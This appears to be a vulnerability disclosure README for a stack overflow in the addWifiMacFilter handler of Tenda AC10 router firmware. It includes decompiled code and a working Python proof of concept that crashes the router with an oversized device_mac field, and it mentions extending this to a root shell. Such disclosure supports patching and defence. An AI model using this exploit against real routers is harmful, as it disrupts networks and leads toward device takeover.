z1r00 Update readme.md History

1 contributor

65 lines (41 sloc) | 1.73 KB ...

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/
- Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html

Affected version

Vulnerability details

```
memset(mib_name5g, 0, sizeof(mib_name5g));
memset(mib_value, 0, sizeof(mib_value));
memset(tmp, 0, sizeof(tmp));
errCode = 1;
device_id = websGetVar(wp, "deviceId", byte_51B0B0);
device_mac = websGetVar(wp, "deviceMac", byte_51B0B0);
if ( isInMacTable(device_mac) )
{
  errCode = 3;
  goto LABEL_5;
}
memset(mib_value, 0, sizeof(mib_value));
GetValue("wl2g.ssid0.maclist_num", mib_value);
mac_filter_num = atoi(mib_value);
memset(mib_name, 0, sizeof(mib_name));
memset(mib_name5g, 0, sizeof(mib_name5g));
memset(mib_value, 0, sizeof(mib_value));
sprintf(mib_name, "wl2g.ssid0.maclist%d", mac_filter_num + 1);
sprintf(mib_name5g, "wl5g.ssid0.maclist%d", mac_filter_num + 1);
sprintf(mib_value, "%s;%d;%s", device_mac, 1, device_id);// vuln overflow
SetValue(mib_name, mib_value);
SetValue(mib_name5g, mib_value);
memset(mib_value, 0, sizeof(mib_value));
```

/goform/addWifiMacFilter, device_mac, device_id are controllable and will be copied to mib_value by sprintf. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability

Poc

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'device_id=1&device_mac=' + p1

p3 = b"POST /goform/addWifiMacFilter" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell